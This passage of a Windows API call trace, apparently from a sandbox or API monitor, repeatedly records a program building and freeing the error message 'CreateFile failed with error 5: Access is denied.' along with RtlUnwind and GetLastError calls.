lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.027] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.027] LocalFree (hMem=0x65ded8) returned 0x0 [0122.027] LocalFree (hMem=0x2568430) returned 0x0 [0122.027] GetLastError () returned 0x5 [0122.027] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.027] GetLastError () returned 0x5 [0122.027] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.027] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.028] lstrlenW (lpString="5") returned 1 [0122.028] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.028] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.028] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.028] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.028] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.028] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.028] LocalFree (hMem=0x65ded8) returned 0x0 [0122.028] LocalFree (hMem=0x2568430) returned 0x0 [0122.028] GetLastError () returned 0x5 [0122.028] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.028] GetLastError () returned 0x5 [0122.028] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.028] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.028] lstrlenW (lpString="5") returned 1 [0122.028] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.028] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.028] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.028] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.028] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.028] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.028] LocalFree (hMem=0x65ded8) returned 0x0 [0122.028] LocalFree (hMem=0x2568430) returned 0x0 [0122.028] GetLastError () returned 0x5 [0122.029] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.029] GetLastError () returned 0x5 [0122.029] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.029] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.029] lstrlenW (lpString="5") returned 1 [0122.029] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.029] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.029] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.029] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.029] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.029] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.029] LocalFree (hMem=0x65ded8) returned 0x0 [0122.029] LocalFree (hMem=0x2568430) returned 0x0 [0122.029] GetLastError () returned 0x5 [0122.029] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.029] GetLastError () returned 0x5 [0122.029] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.029] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.030] lstrlenW (lpString="5") returned 1 [0122.030] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.030] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.030] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.030] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.030] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.030] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.030] LocalFree (hMem=0x65ded8) returned 0x0 [0122.030] LocalFree (hMem=0x2568430) returned 0x0 [0122.030] GetLastError () returned 0x5 [0122.030] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.030] GetLastError () returned 0x5 [0122.030] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.030] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.030] lstrlenW (lpString="5") returned 1 [0122.030] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.030] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.030] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.030] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.030] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.030] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.030] LocalFree (hMem=0x65ded8) returned 0x0 [0122.030] LocalFree (hMem=0x2568430) returned 0x0 [0122.030] GetLastError () returned 0x5 [0122.031] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.031] GetLastError () returned 0x5 [0122.031] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.031] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.031] lstrlenW (lpString="5") returned 1 [0122.031] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.031] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.031] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.031] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.031] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.031] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.031] LocalFree (hMem=0x65ded8) returned 0x0 [0122.031] LocalFree (hMem=0x2568430) returned 0x0 [0122.031] GetLastError () returned 0x5 [0122.032] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.032] GetLastError () returned 0x5 [0122.032] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.032] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.032] lstrlenW (lpString="5") returned 1 [0122.032] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.032] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.032] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.032] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.032] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.032] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.032] LocalFree (hMem=0x65ded8) returned 0x0 [0122.032] LocalFree (hMem=0x2568430) returned 0x0 [0122.032] GetLastError () returned 0x5 [0122.032] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.032] GetLastError () returned 0x5 [0122.032] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.033] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.033] lstrlenW (lpString="5") returned 1 [0122.033] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.033] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.033] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.033] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.033] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.033] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.033] LocalFree (hMem=0x65ded8) returned 0x0 [0122.033] LocalFree (hMem=0x2568430) returned 0x0 [0122.033] GetLastError () returned 0x5 [0122.033] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.033] GetLastError () returned 0x5 [0122.033] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.033] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.033] lstrlenW (lpString="5") returned 1 [0122.033] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.033] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.033] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.033] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.033] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.033] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.033] LocalFree (hMem=0x65ded8) returned 0x0 [0122.033] LocalFree (hMem=0x2568430) returned 0x0 [0122.033] GetLastError () returned 0x5 [0122.034] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.034] GetLastError () returned 0x5 [0122.034] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.034] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.034] lstrlenW (lpString="5") returned 1 [0122.034] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.034] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.034] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.034] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.034] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.034] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.034] LocalFree (hMem=0x65ded8) returned 0x0 [0122.034] LocalFree (hMem=0x2568430) returned 0x0 [0122.034] GetLastError () returned 0x5 [0122.035] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.035] GetLastError () returned 0x5 [0122.035] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.035] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.035] lstrlenW (lpString="5") returned 1 [0122.035] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.035] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.035] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.035] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.035] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.035] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.035] LocalFree (hMem=0x65ded8) returned 0x0 [0122.035] LocalFree (hMem=0x2568430) returned 0x0 [0122.035] GetLastError () returned 0x5 [0122.035] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.036] GetLastError () returned 0x5 [0122.036] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.036] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.036] lstrlenW (lpString="5") returned 1 [0122.036] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.036] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.036] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.036] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.036] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.036] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.036] LocalFree (hMem=0x65ded8) returned 0x0 [0122.036] LocalFree (hMem=0x2568430) returned 0x0 [0122.036] GetLastError () returned 0x5 [0122.036] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.036] GetLastError () returned 0x5 [0122.036] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.036] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.036] lstrlenW (lpString="5") returned 1 [0122.036] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.036] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.036] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.036] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.036] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.036] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.036] LocalFree (hMem=0x65ded8) returned 0x0 [0122.036] LocalFree (hMem=0x2568430) returned 0x0 [0122.036] GetLastError () returned 0x5 [0122.037] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.037] GetLastError () returned 0x5 [0122.037] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.037] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.037] lstrlenW (lpString="5") returned 1 [0122.037] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.037] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.037] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.037] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.037] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.037] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.037] LocalFree (hMem=0x65ded8) returned 0x0 [0122.037] LocalFree (hMem=0x2568430) returned 0x0 [0122.037] GetLastError () returned 0x5 [0122.038] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.038] GetLastError () returned 0x5 [0122.038] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.038] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.038] lstrlenW (lpString="5") returned 1 [0122.038] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.038] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.038] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.038] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.038] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.038] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.038] LocalFree (hMem=0x65ded8) returned 0x0 [0122.038] LocalFree (hMem=0x2568430) returned 0x0 [0122.038] GetLastError () returned 0x5 [0122.039] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.039] GetLastError () returned 0x5 [0122.039] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.039] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.039] lstrlenW (lpString="5") returned 1 [0122.039] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.039] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.039] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.039] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.039] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.039] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.039] LocalFree (hMem=0x65ded8) returned 0x0 [0122.039] LocalFree (hMem=0x2568430) returned 0x0 [0122.039] GetLastError () returned 0x5 [0122.040] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.040] GetLastError () returned 0x5 [0122.040] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.040] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.040] lstrlenW (lpString="5") returned 1 [0122.040] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.040] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.040] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.040] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.040] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.040] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.040] LocalFree (hMem=0x65ded8) returned 0x0 [0122.040] LocalFree (hMem=0x2568430) returned 0x0 [0122.040] GetLastError () returned 0x5 [0122.040] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.040] GetLastError () returned 0x5 [0122.040] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.040] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.040] lstrlenW (lpString="5") returned 1 [0122.040] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.040] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.040] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.040] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.040] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.040] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.040] LocalFree (hMem=0x65ded8) returned 0x0 [0122.040] LocalFree (hMem=0x2568430) returned 0x0 [0122.040] GetLastError () returned 0x5 [0122.041] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.041] GetLastError () returned 0x5 [0122.041] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.041] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.041] lstrlenW (lpString="5") returned 1 [0122.041] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.041] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.041] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.041] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 